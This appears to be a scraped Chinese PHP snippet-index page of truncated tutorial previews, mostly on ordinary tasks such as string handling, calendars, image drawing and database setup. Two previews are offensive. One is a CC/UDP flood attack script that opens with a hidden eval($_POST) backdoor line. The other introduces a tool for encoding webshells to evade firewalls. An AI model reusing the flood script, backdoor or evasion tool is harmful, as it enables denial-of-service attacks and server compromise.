複製代碼 代碼如下: /* * 功能: 作用跟substr一樣,除了它不會造成亂碼 * 參數: * 返回: */ function utf8_substr( $str , $start , $length=null ){ // 先正常截取一遍. $res = substr( $str , $start , $length ); $strlen = strlen( $str ); /* 接著判斷頭尾各6位元組是否完整(不殘缺) */ // 如果參數start是正數 if ( $start >= 0
複製代碼 代碼如下: // 自動轉換字元集 支援數群組轉換 function auto_charset($fContents, $from='gbk', $to='utf-8') { $from = strtoupper($from) == 'UTF8' ? 'utf-8' : $from; $to = strtoupper($to) == 'UTF8' ? 'utf-8' : $to; if (strtoupper($from) === strtoupper($to) ||
下面是一個簡單的檢查檔案是否存在的執行個體代碼: 複製代碼 代碼如下: $filename = '/path/to/foo.txt'; if (file_exists($filename)) { echo "The file $filename exists"; } else { echo "The file $filename does not exist"; } ?> 如果檔案存在,執行該 PHP 檔案的顯示結果是: The file C:blablaphphello.txt
複製代碼 代碼如下: function unescape($str) { $ret = ''; $len = strlen($str); for ($i = 0; $i { if ($str[$i] == '%' && $str[$i+1] == 'u') { $val = hexdec(substr($str, $i+2, 4)); if ($val else if($val >6)).chr(0x80|($val&0x3f)); else $ret .= chr(0xe0|($val>>12
php 如何擷取請求的xml資料,對方通過http協議post提交過來xml資料,php如何擷取到這些資料呢?複製代碼 代碼如下: $xml_data =''. ''. '1234567890'. 'lgsoftwares'. 'mypassword'. 'phpmind.com'. ''. ''. ''. ''. ''. ''. 'JHM'. 'OGGSHE'. '101009'. '101509'. '1'. ''. ''; $URL =
使用PHP實現萬年曆功能的要點: •得到當前要處理的月份總共有多少天$days •得到當前要處理的月份的一號是星期幾$dayofweek $days的作用:知道要處理的月份共有多少天,就可以通過迴圈輸出天數了 $dayofweek的作用:只有知道每個月的1號是星期幾,才能知道在輸出天數之前需要輸出多少空格(空白) 最終如下: “萬年曆類”的代碼如下: 複製代碼 代碼如下: /** * PHP萬年曆 * @author Fly 2012/10/16 */ class
在資料庫教程設計時必須注意時間欄位為int(11)這樣,儲存在資料庫的是一個數字型日期時間戳記,我們可以用mktime函數求出當前日期的時間戳記進行加減就OK了,下面看執行個體 //一個月 複製代碼 代碼如下: $lastMonth = mktime(date(‘h'),date(‘i'),date(‘s'),date(‘m')-1,date(‘d'),date(‘y')); $where .= ” dtime > $lastMonth”; //三個月 複製代碼 代碼如下:
複製代碼 代碼如下: //下面代碼會畫出一個很漂亮的葉子 // 定義 PI 一分的角度的值 define("PII", M_PI/180); // 建立映像資源,並定義其背景為 白色,前景色彩為 黑色 $im = imagecreate(670,500); $white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF); $g = imagecolorallocate($im, 0x00, 0x00, 0x00); //
cc攻擊代碼,支援udp複製代碼 代碼如下: eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time']; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) {
今天給別人做網站時有個需求是要有網域名稱查詢功能,查了點資料寫了個簡單的查詢功能 前台頁面用的是checkbox,代碼如下: 複製代碼 代碼如下: PHP代碼: 複製代碼 代碼如下: //得到頂級網域名稱 $ext=$_POST['ext']; //得到次層網域 $dns = $_POST['dns']; //print_r($ext); //$domain = $dns . "." . $ext[0]; //echo $domain; //遍曆所有的網域名稱 foreach ($ext
lostwolf寫的 這不是webshell,只是個webshell免殺工具 切勿當初webshell使用 僅限免殺phpwebshell 該工具運行在 cli 模式! 如果有無法突破的檔案內容過濾 可嘗試下用這個工具 免殺大馬! 任意php webshell 通過此工具編碼之後可以饒過國內一些bt的防火牆 複製代碼 代碼如下: /* Title: PHP shell nokill T00L Blog: exploit-db.blogcn.com */ error_reporting(0); @
關於phpexcel匯出顏色的一些問題,用phpexcel做匯出的excel的顏色怎麼和網頁中的顏色顯示不一致呢?想要知道到底是怎麼回事?應該如何來解決呢?PHP代碼細節如下: PHP code: 複製代碼 代碼如下: require_once './PHPExcel.php'; require_once './Excel5.php'; require_once './get_excel_row.php'; require "../include/base.php"; require
第一種:複製代碼 代碼如下: ?$str="this is a test \n"; $patten = array("\r\n", "\n", "\r"); ?//先替換掉\r\n,然後是否存在\n,最後替換\r $str=str_replace($order, "", $str); ?> //php 有三種方法來解決 //1、使用str_replace 來替換換行 $str = str_replace(array("\r\n", "\r", "\n"), "", $str);
記憶體回收機制是一種動態儲存裝置分配方案。它會自動釋放程式不再需要的已指派的記憶體塊。 自動回收記憶體的過程叫垃圾收集。記憶體回收機制可以讓程式員不必過分關心程式記憶體配置,從而將更多的精力投入到商務邏輯。 在現在的流行各種語言當中,記憶體回收機制是新一代語言所共有的特徵,如Python、PHP、Eiffel、C#、Ruby等都使用了記憶體回收機制。 雖然記憶體回收是現在比較流行的做法,但是它的年紀已經不小了。早在20世紀60年代MIT開發的Lisp系統中就已經有了它的身影,
例如: 複製代碼 代碼如下: $a = 1; include 'b.inc'; ?> 這裡變數 $a 將會在包含檔案 b.inc 中生效。但是,在使用者自訂函數中,一個局部函數範圍將被引入。任何用於函數內部的變數按預設情況將被限制在局部函數範圍內,此時為局部變數。 PHP 中全域變數在函數中使用時必須申明為global。 在函數中使用global聲明的變數即為全域變數,可以在函數外使用。注意:global聲明變數時,不能直接對變數賦值,需要先聲明後賦值。
異常處理用於在指定的錯誤(異常)情況發生時改變指令碼的正常流程。這種情況稱為異常。 PHP 5 添加了類似於其它語言的異常處理模組。在 PHP 代碼中所產生的異常可被 throw 語句拋出並被 catch 語句捕獲。需要進行異常處理的代碼都必須放入 try 代碼塊內,以便捕獲可能存在的異常。每一個 try 至少要有一個與之對應的 catch。使用多個 catch 可以捕獲不同的類所產生的異常。當 try 代碼塊不再拋出異常或者找不到 catch 能匹配所拋出的異常時,PHP
我看過phpcms、discuz的源碼,所以可能就缺乏創新了,不過原理大都相通,只是細節處理可能稍微不同。 說正題,下面開始談談具體實現過程了。 1.首先要想好模板檔案放在哪?轉換後的php檔案放哪?還有怎麼命名?直接上源碼: 複製代碼 代碼如下: function template($tpl = 'index',$dir = 'hello') { if(!file_exists($pd = TPL_PATH.$dir.'/'))@mkdir($pd,0777) or
zendframework項目環境搭建後,看了下zend framework配置操作資料庫,php教程如下: 在application/configs的檔案下建立一個config.ini檔案 配置資訊如下: [general] db.adapter=PDO_MYSQL db.config.host=localhost/IParess db.config.username=username db.config.password=password
複製代碼 代碼如下: $myip = $_SERVER["REMOTE_ADDR"]; //ip138 http://wap.ip138.com/ip.asp?ip=www.myolnet.com //youdao http://www.youdao.com/smartresult-xml/search.s?type=ip&q=ip
1、首先你要確定你的PHP版本不低於5.1.4,但強烈建議使用 5.2.3 或更高版本2、確保你的php.ini開啟了如下模組:extension=php_pdo.dllextension=php_pdo_mysql.dll3、開啟Apache的設定檔httpd.conf確保你已經開啟如下模組:LoadModule rewrite_module